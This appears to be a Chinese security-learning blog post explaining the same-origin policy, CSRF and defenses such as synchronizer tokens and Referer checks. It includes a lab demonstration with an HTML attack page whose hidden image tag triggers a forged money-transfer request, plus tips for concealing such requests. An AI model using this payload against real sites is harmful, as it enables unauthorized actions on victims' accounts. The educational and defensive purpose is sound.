定义

同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须同源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。

同源的判断如下:

  • 协议相同
  • 域名相同
  • 端口相同

应用

同源策略对Web应用程序具有特殊意义,因为Web应用程序广泛依赖于cookie来维持用户会话,所以必须将不相关网站严格分隔,以防止丢失数据泄露。

同源比较

下表列出哪些URL与http://www.example.com/dir/page.html 属于相同来源

http://en.example.com/dir/other.html 不同域名
http://example.com/dir/other.html 不同域名(需要完全匹配)
**http://**username:password@www.example.com/dir2/other.html 只有路径不同
http://v2.www.example.com/dir/other.html 不同域名(需要完全匹配)
http://www.example.com:**81**/dir/other.html 不同端口(若未标明,http:// 默认端口号为80)
http://www.example.com/dir/page2.html 只有路径不同
http://www.example.com/dir2/other.html 只有路径不同
https://www.example.com/dir/other.html 不同协议(httpshttp

其他

  • 源的继承:在页面中通过 about:blankjavascript: URL 执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URLs 没有包含源服务器的相关信息。
  • 跨源访问:可以使用 CORS 来允许跨源访问。CORS 是 HTTP 的一部分,它允许服务端来指定哪些主机可以从这个服务端加载资源。
  • 源的更改:满足某些限制条件的情况下,页面是可以修改它的源。脚本可以将 document.domain 的值设置为其当前域或其当前域的父域。如果将其设置为其当前域的父域,则这个较短的父域将用于后续源检查。

缺陷

同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造(CSRF)就是利用同源策略不适用于HTML标签的缺陷。

CSRF(跨站请求伪造)

  • 定义:挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
  • 与XSS的比较:XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
  • 攻击方法:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
  • 特点:攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户的浏览器,让其以用户的名义运行操作。

攻击实践

此处以必火靶场的CSRF-GET型攻击进行实践。

靶场地址

image-20210128110300151

正常转账操作:http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10

恶意攻击者页面:http://www.nanhack.com/payload/xss/csrf1.php

访问恶意攻击者页面产生CSRF请求: http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000

image-20210128111355278

打开恶意攻击页面,发现是一个图片,提示:你的账户 钱少了。

返回查看,果然,账户少了1000元。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>你的账户钱少了吧</title>
<!-- <script>alert('你的账户钱少了吧!!😳');</script> -->
</head>
<body>
<img src="http://xss.tv/meinv/tila.jpg" width="30%">
<img src="http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000">
<!-- <a href="http://www.nanhack.com/user.php">返回用户管理</a> -->

</body>
</html>

<img src>中的链接就是构造了一个“转账”链接。

但是这种恶意链接构造的CSRF隐蔽性很低,很容易被发现。

可以利用一些更加隐藏的方式:

  • CSS中background属性里的url链接
  • 利用a标签
  • 设置iframe的style为display:none

防御措施

  • 令牌同步

    令牌同步模式(英语:Synchronizer token pattern,简称STP)。原理是:当用户发送请求时,服务器端应用将令牌(token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。

    局限性:会导致服务端的复杂度升高,复杂度源于令牌的生成和验证。因为令牌是唯一且随机,如果每个表格都使用一个唯一的令牌,那么当页面过多时,服务器由于生产令牌而导致的负担也会增加。而使用会话(session)等级的令牌代替的话,服务器的负担将没有那么重。

  • 检查Referer字段

    HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,这时候服务器就能识别出恶意的访问。

    局限性:因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。

  • 添加校验token

    由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

参考文献

  1. IETF [rfc:6265 HTTP State Management Mechanism, Apr, 2011]
  2. Kemp, John. Security on the Web. 2011-02-04 [2018-07-24].
  3. Ristic, Ivan. Apache Security. O’Reilly Media. 2005: 280. ISBN 0-596-00724-8.
  4. 阮一峰的网络日志
  5. MDN Web Docs